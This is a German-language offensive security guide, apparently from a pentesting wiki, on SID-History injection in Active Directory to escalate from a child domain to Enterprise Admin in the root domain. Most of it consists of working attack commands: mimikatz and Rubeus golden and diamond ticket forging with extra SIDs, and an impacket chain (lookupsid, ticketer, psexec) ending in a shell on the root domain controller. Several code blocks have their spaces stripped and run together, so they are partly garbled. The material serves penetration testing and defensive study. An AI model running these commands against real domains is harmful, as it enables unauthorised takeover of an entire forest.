Der Fokus des SID-History Injection Angriffs liegt darauf, Benutzermigrationen zwischen Domänen zu unterstützen und gleichzeitig den Zugriff auf Ressourcen der vorherigen Domäne zu gewährleisten. Dies wird erreicht, indem der vorherige Sicherheitsbezeichner (SID) des Benutzers in die SID-Historie seines neuen Kontos aufgenommen wird. Bemerkenswert ist, dass dieser Prozess manipuliert werden kann, um unbefugten Zugriff zu gewähren, indem die SID einer hochprivilegierten Gruppe (wie Enterprise Admins oder Domain Admins) aus der übergeordneten Domäne zur SID-Historie hinzugefügt wird. Diese Ausnutzung gewährt Zugriff auf alle Ressourcen innerhalb der übergeordneten Domäne.
Es gibt zwei Methoden, um diesen Angriff auszuführen: durch die Erstellung eines Golden Ticket oder eines Diamond Ticket.
Um die SID der Gruppe "Enterprise Admins" zu ermitteln, muss zunächst die SID der Root-Domäne gefunden werden. Nach der Identifizierung kann die SID der Enterprise Admins-Gruppe konstruiert werden, indem -519 an die SID der Root-Domäne angehängt wird. Wenn die SID der Root-Domäne beispielsweise S-1-5-21-280534878-1496970234-700767426 ist, wäre die resultierende SID für die Gruppe "Enterprise Admins" S-1-5-21-280534878-1496970234-700767426-519.
Sie könnten auch die Domain Admins-Gruppen verwenden, die mit 512 enden.
Eine andere Möglichkeit, die SID einer Gruppe der anderen Domäne (zum Beispiel "Domain Admins") zu finden, ist:
mimikatz.exe"kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi""exit"/useristheusernametoimpersonate (could beanything)/domainisthecurrentdomain./sidisthecurrentdomainSID./sidsistheSIDofthetargetgrouptoaddourselvesto./aes256istheAES256keyofthecurrentdomain's krbtgt account.--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option/startoffset sets the start time of the ticket to 10 mins before the current time./endin sets the expiry date for the ticket to 60 mins./renewmax sets how long the ticket can be valid for if renewed.# The previous command will generate a file called ticket.kirbi# Just loading you can perform a dcsync attack agains the domain
Für weitere Informationen zu goldenen Tickets siehe:
Diamantticket (Rubeus + KRBTGT-AES256)
# Use the /sids paramRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500/groups:512/sids:S-1-5-21-378720957-2217973887-3501892633-512/krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap# Or a ptt with a golden ticketRubeus.exe golden /rc4:<krbtgt hash>/domain:<child_domain>/sid:<child_domain_sid>/sids:<parent_domain_sid>-519/user:Administrator /ptt# You can use "Administrator" as username or any other string
Für weitere Informationen zu Diamond Tickets siehe:
# This is for an attack from child to root domain# Get child domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep"Domain SID"# Get root domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep-B20"Enterprise Admins"|grep"Domain SID"# Generate golden ticketticketer.py-nthash<krbtgt_hash>-domain<child_domain>-domain-sid<child_domain_sid>-extra-sid<root_domain_sid>Administrator# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING# JUST USE THE SAME USERNAME IN THE NEXT STEPS# Load ticketexport KRB5CCNAME=hacker.ccache# psexec in domain controller of rootpsexec.py<child_domain>/Administrator@dc.root.local-k-no-pass-target-ip10.10.10.10